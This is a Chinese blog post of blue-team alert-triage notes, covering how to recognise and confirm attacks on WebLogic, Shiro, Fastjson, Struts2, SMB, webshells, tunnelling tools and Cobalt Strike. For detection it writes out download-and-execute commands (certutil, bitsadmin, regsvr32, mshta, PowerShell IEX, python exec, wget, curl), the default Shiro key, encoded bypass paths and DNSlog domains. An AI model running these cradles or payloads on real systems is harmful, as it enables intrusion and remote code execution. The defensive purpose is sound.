蓝队研判笔记

发布于 2022-07-09  32 次阅读


研判指导手册

一、研判分析思路

三个关键问题:

  1. 告警事件是否为误报?
  2. 是否是演练攻击方发起?
  3. 攻击是否成功

1.1 是否为误报

产生误报的原因一般是

  1. 监测手段对攻击采用较为宽泛的规则匹配
  2. 智能监测算法实现出现偏差
  3. 正常业务流量触碰

排除方法是:

  1. 针对性确认流量是否包含攻击载荷
  2. 根据历史告警推测判断

1.2 是否是攻防演习攻击事件

判断方法:

  1. 攻击事件类型
  2. 攻击IP

1.2.1 根据事件类型

  1. 针对Web应用攻击:文件上传 应用自实现上传:OA对类型校验不严格导致的绕过。比如泛微OA、致远OA。
  2. 针对Web应用攻击:命令执行 常见于运维或者安全产品:齐治堡垒机、深信服VPN,深信服EDR等
  3. 针对Web应用攻击:代码执行 应用没有对用户输入校验,传入恶意代码:struts2远程代码执行、thinkphp远程代码执行、Jeekins远程代码执行、泛微OA beanshell组件远程代码执行。
  4. 针对Web应用攻击:反序列化 Weblogic,JBoss,WebSphere,Shiro,Fastjson,.NET的Exchange漏洞
  5. 针对Web应用攻击:WebShell
  6. 针对Web应用攻击:SQL注入
  7. 针对Windows攻击:口令 弱口令暴力破解、口令获取及复用。攻击者一般使用SMB或者RDP进行Windows登录
  8. 针对Windows攻击:域
  9. 针对Windows攻击:MS17-010
  10. 针对Windows攻击:CVE-2019-0708。RDP端口。
  11. 针对Linux攻击:SSH端口爆破
  12. 其他:挖矿病毒、勒索病毒、Worm,dos等一般属于飞攻防演习相关事件

1.2.2 根据攻击IP

攻击源包括C2,VPS,攻击者IP。

可以通过黑IP情报等方式确认IP是否在攻防IP名单内;

通过搜索攻击IP是否是挖矿病毒、勒索病毒,Worm所属的IOC

1.3 攻击是否成功

1.3.1 响应状态码

在攻击者没有篡改响应状态码的情况下,404基本可以研判攻击失败。

如果出现大量401未授权状态,常见于http的basic认证,例如tomcat,basic认证请求最明显的特征就是请求头存在Authorization:Basic Basic64字符串,其中字符串是base64编码。这种情况下大量出现401一般就是暴力破解的情况,200则表示爆破成功

1.3.2 请求与响应

如果攻击结果是回显的,那么通过报警信息即可进一步判断;

如果攻击结果是不回显的,可以通过数据包重放的方法,但是在攻防演练期间,数据包的重放是需要经过客户同意的,

1.3.3 漏洞攻击

1.3.4 其他

非Web型攻击主要出现在内网渗透方面,攻击者的主要目标有三个:快速批量获取大量机器权限;获取关键系统权限;突破核心区。

往往出现口令复用等手段,获得WIndows域管理员权限,获取运维堡垒机或者EDR几种管控系统。攻击者为了突破网络隔离,往往寻找双网卡设备、获取路由器交换机等网络设备权限。

需要关注SSH、WIndows口令登录,Telnet登录,重大漏洞的攻击事件;

二、高频漏洞研判思路

2.1 SQL注入

在漏洞的利用过程一般又会经历获取数据库名—>获取表名—> 获取列名—>获取具体数据

MySQL: INFORMATION_SCHEMA、schema_name、table_name、column_name

MSSQL: master..sysdatabases、sysobjects.name、syscolumns.name

ORACLE: SYS.ALL_TABLES、TABLE_NAME、SYS.ALL_TAB_COLUMNS

登录主机排查(是否获取权限)

MySQL 写入 WebShell:

INTO OUTFILE

MSSQL 执行命令:

xp_cmdshell

2.2 任意文件上传漏洞

如果文件后缀名为.php、.php3、.php5、pht、phtml、asp、asa、 cer、aspx、asmx、jsp、jspx、war 等,则需要特别关注。

可通过搜索引擎搜索关键代码行或者将文件内容保存在本地, 再借助 D 盾_Web 查杀等工具进行扫描等方式确定文件是否为恶意。

也可通过登录服务器查看最近文件的变化情况来排查 WebShell 是否被上传成功, 如执行命令 find / -name "*.php*" -ctime -3 查看最近三天被改动的 php 相关文件。

2.3 命令执行漏洞

命令执行漏洞会出现有回显和无回显两种情况

2.3.1 有回显的情况

根据发送包和返回包的内容进行判断。

2.3.2 无回显的情况

通常使用OOB走DNS的方式将回显发送至DNSlog平台,可能会存在攻击者使用自建的DNSlog平台。

2.4 shiro反序列化

如果响应数据包的头部返回 Set-Cookie: rememberMe=deleteMe 的话则应用使用了 Shiro 框架。

大多数安全产品不对rememberMe进行解密再进行恶意特征分析,而是匹配rememberMe的长度是否过长,因此经常会出现误报。

https://simolin.cn/tools/shiro/ https://sec.dog/shiroDecrypt.html

通过解密判断是否是真实攻击流量。

那么如何判断是否是攻击:

  1. 是否使用默认的公开Key(kPH+bIxk5D2deZiIxcaaaA==
  2. 攻击特征是否存在特殊命令,反序列化攻击使用的特殊链。
  3. 判断版本是否存在漏洞(shiro≤1.2.4存在历史漏洞,而≥1.2.4则可能因为使用常见密钥导致漏洞) https://github.com/wyzxxz/shiro_rce_tool,判断是否可以获取密钥

对于shiro的攻击,如果是非回显的情况,就需要通过登录服务器排查网络、进程、文件等方式确认是否攻击是否成功。

2.5 weblogic反序列化

2.5.1 CVE-2015-4852

关注org.apache.commons.collections.map.TransformedMap

WebLogic_EXP.jar 这个工具对 CVE-2015-4852会向往 Linux 的/tmp/和 Windows 的 C:/windows/temp/目录下写入 1vBLBK.tmp 文件,这是需要排查和注意的

2.5.2 CVE-2017-10271

XMLDecoder 反序列化漏洞,该漏洞允许攻击者通过构造特殊请求造成任意代码执行。

受影响的版本是 10.3.6.0.0、12.1.3.0.0、12.2.1.1.0 和 12.2.1.2.0

一般利用这个漏洞进行反弹shell或者写入shell或者远程下载。

平台同时出现了 Linux 反向 Shell 连接的告警,也就是说上面漏洞的利用执行 bash 反弹命令是成功了。

对于是否写入shell的检测:看响应包是否存在java.io.PrintWriter cannot be cast to java.lang.String,对于这种利用方式,如果出现该字符串说明攻击大概率成功的。

url访问shell如果出现500状态码,也说明攻击成功。另外如果响应的数据包中出现 Invalid 字符串的话说明攻击是失败的,该服务器已经更新 了相应的漏洞补丁,这个研判方法不仅仅适用于 CVE-2017-10271,也同样适用于 CVE-2019-2725、CVE-2019-2729 等。

2.5.3 CVE-2018-2628

WebLogic Server WLS 组件存在安全漏洞。

该漏洞常见的攻击方式为通过 ysoserial 工具的 JRMP 模块进行远程代码执行。

因此研判 攻击是否成功的思路为:漏洞攻击后服务器是否与 JRMPListener 存在 RMI 通信,以及命令是 否执行成功。

通常该利用与:RMI远程通信,shell反向连接告警事件一起出现。

具体的攻击手段要进行RMI的流量分析。

2.5.4 CVE-2019-2618

CVE-2019-2618 漏洞主要利用了 WebLogic 的 DeploymentService 借接口,攻击者在获 取了 WebLogic 账号密码的前提下,可通过构造文件上传的请求数据包,上传 WebShell,进 而获取服务器权限。

判断攻击成功的方式:请求包/deploymentService的响应包中包是否返回了webshell的路径

2.5.5 CVE-2019-2725 & CVE-2019-2729

漏洞利用可回显可不回显, 针对 WebLogic 10.3.6.0 和 12.1.3.0.0 版本也会有不同的漏洞利用 payload。

下面是研判思路:

  1. 响应状态码为202 Accepted,或者200、500表明漏洞存在。
  2. 响应包如果是invalid或者illegal表明服务器已经更新了漏洞补丁。如果同时出现其他攻击行为,基本可以确定攻击成功。

2.5.6 CVE-2020-14882 & CVE-2020-14883

CVE-2020-14883允许用户通过http协议执行任意命令。CVE-2020-14882允许进行未授权用户执行任意命令。

研判方式:

  1. 14882通过二次编码的../绕过权限验证。具有如下特征。 /console/images/%252E%252E%252Fconsole.portal /console/css/%25%32%65%25%32%65%25%32%66console.portal 如果响应302跳转可以判断攻击成功
  2. 14883具有多个可选特征 com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplication Context(适用于各版本) com.tangosol.coherence.mvel2.sh.ShellSession(适用于 WebLogic 12.2.1 以上版本) 剩下的就要通过攻击行为进行溯源分析

2.5 Fastjson反序列化攻击

2.5.1 fastjson≤1.2.24 版本

当响应包出现 autoType is not support 表明 Fastjson 反序列化漏洞是攻击失败的。

无回显的情况,一般攻击者通过反弹shell、写入webshell文件等方式,需要通过溯源攻击。

攻击成功一般带有LDAP或者RMI的通信报警。

2.5.2 fastjson≤1.2.47版本

相比而言,无需依赖 autotype 的开启

是Fastjson 是支持 unicode 和十六进制编码的,有时候可能会遇到编码过的 Fastjson 反序列化 payload。

2.6 struts2远程代码执行

2.6.1 S2-016/CVE-2013-2251

漏洞影响版本为 Struts 2.0.0 – Struts 2.3.15。

S2-016 漏洞攻击最明显的特征就是"action:"/"redirect:"/"redirectAction:"

通过”redirect”并且构造OGNL表达式进行命令执行,回显可能在响应体或者在响应头。如果没有回显,则通过流量溯源判断。

2.6.2 S2-045 & S2-046(CVE-2017-5638)

Struts 2.3.5 – Struts 2.3.31,Struts 2.5 – Struts 2.5.10。

S2-045 漏洞触发点在 Content-Type

S2-046 漏洞触发点有两个地方,分别是 Content-Length 和 Content-Disposition 的 filename

2.7 Windows-RDP/SMB

(绿盟ISOP暂时无记录,需要到UTS设备上查询日志)

关注IP+445 端口+操作成功

如果SMB认证成功,网络流会返回

51 fe 53 4d 42关注SMB字段处

SMB认证失败会返回
49 fe 53 4d 42(Windows7 sp1)

44 fe 53 4d 42(Windows10)

RDP通信带有 Cookie: mstshash=xxxxxx(Unix 部分客户端连接是没有的)。但是TLS加密一般无法得到是否能成功连接,通过数据包大小判断(正确和错误的数据包打大小肯定不一样)是否连接

一般SMB成功爆破后会通过RDP登录,特征就是大量SMB后接单个RDP请求

2.7.1 SMB ms17-010

监测扫描流量特征:

smb.st_status == 0xc0000205

利用研判:

smb.path == “\\\\192.168.198.203\\IPC$” || smb.account == “”

payload上传成功(成功不代表有此流量)

smb.mid==82

smb.mid == 8

2.8 Linux SSH爆破

攻击者进入内网后一般会对整个 C 段进行 SSH 登录尝试,因此可能会出现在短时间内 单个源 IP 对 C 段的多个主机进行 SSH 登录的事件。

并不是出现此类事件就一定是攻击者在爆破,堡 垒机和跳板机可能也会引发此类告警事件

通过查看ssh日志:Accepted password for root表示root身份登录成功

三、高频工具研判

4.1 Webshel

4.1.1 冰蝎(Behinder)

主要是基于两个方面的流量:利用文件上传时候的冰蝎webshell流量;利用冰蝎服务端和客户端进行通信时的流量。

初步分析可先判断请求的文件是否为常见 WebShell 后缀(分析 后缀的方法适合于服务器上存在 WebShell 文件的情况,不适合于无文件 WebShell 的情况),冰蝎使用的是 AES 加密,分析请求的数 据包符合 AES 加密的特征。

正常业务流量可能也使用了加密流量,导致误报,第一步检查是否是常见webshell后缀,如果不是,再排除无文件落地的情况,最后再根据历史情况排除。

如果确认是冰蝎 WebShell,需要进一步通过流量研判攻击方执行了哪些恶意操作,则需 要对冰蝎加密的流量进行解密。对于冰蝎流量的解密,可以使用反编译之后的冰蝎代码,直接调用冰蝎解密函数进行解密即可。 反编译后的冰蝎代码链接:https://github.com/MountCloud/BehinderClientSource 解密函数在 src/main/java/net/rebeyond/behinder/core/Crypt.java 定义。

新建 Test 类,调用 DecryptForJAVA 进行解密。

package net.rebeyond.behinder.payload.java; 
import java.io.*; 
import java.nio.file.*; 
import net.rebeyond.behinder.core.Crypt; 
import sun.misc.BASE64Decoder; 
public class Test { 
    public static void main(String[] args) throws Exception { 
        String data = "XXXX";
        //加密的流量 
        byte[] bs = new BASE64Decoder().decodeBuffer(data); 
        String key = "xxxx";
        //加密的密钥
        byte[] decrypted = Crypt.DecryptForJAVA(bs,key); 
        String result = new String(decrypted); 
        System.out.println(result); 
        Files.write((new File("XXXX")).toPath(), decrypted, new OpenOption[]{StandardOpenOption.CREATE, StandardOpenOption.TRUNCATE_EXISTING});
    //文件保存的路径 
    } 
}

4.1.2 哥斯拉 Godzilla

该工具自带了 一些插件模块,实现了写无文件 WebShell 等强大的功能。

哥斯拉链接:https://github.com/BeichenDream/Godzilla

研判思路类似

4.1.3 antsword

研判思路类似

4.1.4 无文件Webshell

常见于JAVA应用攻击:

  1. 基于 Servlet 规范,通过动态注册 Servlet、Filter、Listener 等实现无文件 WebShell
  2. 基于特定框架,如 Spring 框架下动态注册 Controller 等。
  3. 基于 JAVA Agent,如 memShell

首先查看历史流量,判断目标URL是否是内存Webshell,如果是攻防演练期间出现的,那么就需要登录服务器进一步判断。

登录服务器排查是否存在无文件 WebShell 可以使用 Arthas 工具。 Arthas 工具链接:https://github.com/alibaba/arthas。具体方法这里不阐述

另外,也可以使用 copagent 进行无文件 WebShell 排查,该工具也是参考 Arthas 实现, 可以自动分析并提取可能的恶意类,并实现自动反编译。那么我们就可以直接通过在反编译 的代码搜索匹配特征的方式排查是否存在恶意类。 copagent 工具链接:https://github.com/LandGrey/copagent。这个工具会产生较多误报

4.2 代理工具

4.2.1 NPS

下面是客户端连接成功的一些标志,包括特征 TST、客户端的版本(client version)、 核心版本(core version);而服务端返回 sucs 就是连接成功,main 则是使用什么模块(第一个连接请求成功肯定都是调用的 main)

然后建立隧道,在连接成功后发送 chan 进行隧道建立:

客户端可能会从服务端获取配置信息(当然也可以配置不获取),则存在对应返回,而 可以看到这里 Crypt 为 true,则后面的内容都是 TLS 加密无法检测的:

4.2.2 FRP

对于开启了 tls_enable 的 frp,在建立连接时候,会产生下面的特征:

而对于没有开启 tls 的话,则会以明文的形式传输一些配置信息,可以根据“privilege_k ey”、“run_id”、“pool_count”、“server_udp_port”这些通用性较低的关键字进行搜索

4.2.4 reGeorg

服务端以脚本(支持 jsp、php、asp)的形式被 攻击者上传/写入到 web 目录下可以通过 url 访问,然后攻击者通过客户端连接服务端,并将 本地流量发送到对应的服务端,服务端可以将流量转发到实际的内网机器。

可以直接访问下,出现 Georg sys, ‘All seems fine’表示存在 regeorg 这个服务端

如果客户端连接成功,则会出现 X-CMD: CONNECT,X-TARGET: 需要访问的内网 IP 等,X-Status: OK 表示连接成功,可以继续传输,可以判断攻击成功:

需要注意的是,上面只是展示没有被修改的 reGeorg。作为一个 Webshell,它很容易被 修改,例如可以将 cmd 改成 mdc、将 connect 改成 conn,也可以将头部一些特征给去掉换 成其他返回,又可以进行加密传输。Neo-reGeorg 就是其中一个变种。

4.2.4 Neo-reGeorg

这种通信甚至ISOP不会报警(

在进行请求的时候返回一个注释,不会显示任何东西,基本可以判断成功了(不一样的 目标是不一样的内容)

通信带有加密的头部

4.2.5 pystinger

实现内网 SOCK4 代理,端口映射,当前支持 php,jsp(x),aspx 三种代理脚本。攻击者可以使用它进行 metasploit-framework,viper, cobalt strike 上线。 pystinger 链接:https://github.com/FunnyWolf/pystinger

首先攻击者会上传一个脚本文件,然后会通过 URL 访问看是否上传成功,(没有被修改 过的情况下)访问会返回“UTF-8”

然后进行通信的话,请求包主要有 SENDDATA、Endpoint、Remoteserver 三个参数, 并且 Endpoint 的值比较固定可以作为判定之一:

/check/

/ 2Fdata_sync/

对于返回内容一般都是 ey 开头,即返回一个 json,不过 json 不尽相同,常见的如下: eyJyZXR1cm5fZGF0YSI6IHt = {"return_data":

eyJjbGllbnRfYWRkcmVzc19saX = {"client_address_

DNSlog

常见 DNSLog 平台地址如下:

ceye.io

dnslog.cn

dnslog.io

dnslog.xyz

burpcollaborator.net

dig.pm

tu4.org

h.i.ydscan.net

dnsbin.zhack.ca

s0x.cn

4.4 后渗透

4.4.1 Cobalt Strike

由于 Cobalt Strike 基本是加密的流量,因此从流量上进行 研判相对会比较艰难,但是如果没有不修改 Malleable C2 默认配置,也会存在一些比较明显 的特征

如 DNS Beacon 通讯中,在 DNS 查询的通信中会存在 aaa.stage.***特征,一般目的 地址为 DNS 服务器,理论上源地址为受控主机 IP,但是往往实际上可能会由于探针部署等问 题,流量中的源 IP,导致找不到真实的失陷主机。

在 HTTP Beacon 通信中,cookie为加密的元数据信息

Cobalt Strike 支持 Web Delivery,即通过开启 Web 服务以方便恶意文件下载运行。

如果是powershell、python 等脚本投递的方式,受害主机会向 Cobalt Strike 的服务端请 求脚本文件内容,那么也可以通过搜索响应的方式去对这种投递方式进行排查。

搜索响应内容包含 New-Objec 的流量主动识别 Cobalt Strike 的 powershell 脚本投递行为

4.4.2 metasploit

五、高频命令研判

5.1 certutil

certutil -urlcache -split -f http://xxx.xxx.xxx.xxx/xxx.exe C:\\Windows\\Temp\\xxx.exe

certutil 在进行远程下载时会向远程服务器发起两个请求,可通过请求中的 User-Agent 进行识别

第一个请求的 User-Agent 为:Microsoft-CryptoAPI/版本号。

第二个请求的 User-Agent 为:CertUtil URL Agent

5.2 bitsadmin

bitsadmin 远程下载命令参考:

bitsadmin /transfer n http://xxx.xxx.xxx.xxx/xxx.exe C:\\Windows\\Temp\\xxx.exe

bitsadmin 进行远程下载时也会发起两类连接请求

第一个请求的方法为 HEAD 方法,用于探测资源是否存在。User-Agent 为 Microsoft BITS/版本号。

后续为下载的请求,User-Agent 也是 Microsoft BITS/版本号.

5.3 regsvr32

regsvr32 加载 dll 命令参考:

regsvr32 /s /n /u /i:http://xxx.xxx.xxx.xxx/SWyNnnBafgin.sct scrobj.dll

regsvr32 远程下载的 User-Agent 不固定,可参考以下两个样例,提取共同的特征,如 包含 Mozilla、compatible、MSIE、Windows、Trident、.NET

Cobalt Strike 和 Metasploit 使用 regsvr32 远程下载上线 C2 响应内容结构特征均如下:

<?XML version="1.0"?> <scriptlet> </registration progid="xxxx <script> </script> </registration> </scriptlet>

5.4 mshta

在 Windows 操作系统中,攻击者常用 mshta 命令执行远程恶意 hta 文件。 命令参考: mshta http://xxx.xxx.xxx.xxx/xxx.hta

与 regsvr32 命令相似,在 64 位操作系统中,mshta 命令执行远程恶意 hta 文件时存在 UA-CPU 字段,值为 AMD64。User-Agent 包含 Mozilla、compatible、MSIE、Windows、 Trident、.NET 等特征

但是在 32 位操作系统中,不会包含 UA-CPU 字段。

响应中的头部包含 Content-Type: application/hta,响应内容恶意的 hta 文件包含 VBScript、CreateObject、Wscript.Shell 等特征

5.5 powershell

使用 webclient 远程下载不存在 User-Agent 特征,但是可以通过检测响应 内容检测是否为 powershell 脚本。

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.16.136:80/p'))"

powershell 通过 Invoke-WebRequest 下载,User-Agent 会出现 PowerShell 的特征。另 外,wget/curl 是 Invoke-WebRequest 的别名,因此通过 wget/curl 实现下载的 User-Agent 与 Invoke-WebRequest 是一样的。

powershell Invoke-WebRequest -Uri "http://xxx.xxx.xxx.xxx/download/file.ext" -OutFile "C:\\Windows\\Temp\\ttt.exe"

5.6 wget

在 Linux 操作系统中,攻击者常用 wget 下载远程文件。 命令参考:

wget -O /tmp/xxx http://xxx.xxx.xxx.xxx/xxx

wget 下载的 User-Agent 包含 Wget 关键字。

5.7 curl

在 Linux 操作系统中,攻击者常用 curl 下载远程文件。 命令参考:

curl http://xxx.xxx.xxx.xxx/xxx -o /tmp/xxx curl 下载远程命令产生的的流量中 User-Agent 包含 curl 关键字

5.8 java

Java 应用发起的请求,User-Agent会包含Java特征,如果是特殊情况如使用Tomcat、 Groovy 等的 Bypass payload 去绕过高版本 JDK 对 JNDI 注入的限制时则不会有该请求。

也可以结合 class 文件里面的敏感类特征做进一步的检测。如:

命令执行:

java/lang/Runtime、java/lang/ProcessBuilder

网络通信:

java/net

文件操作:

java/io/FileInputStream、java/io/FileOutputStream、java/io/File

5.9 python

python 攻击者会默认使用 urllib 进行请求,因为这个不需要任何外部依赖,Cobalt Strike 的 python 投递就是。

命令参考:

python -c "import urllib2; exec urllib2.urlopen('http://xxx.xxx.xxx.xxx:80/py').read();"

python 投递时 User-Agent 为 Python-urllib/版本号,响应内容特征包含恶意的 python 代 码,如 exec、socket 等。


间桐桜のお菓子屋さん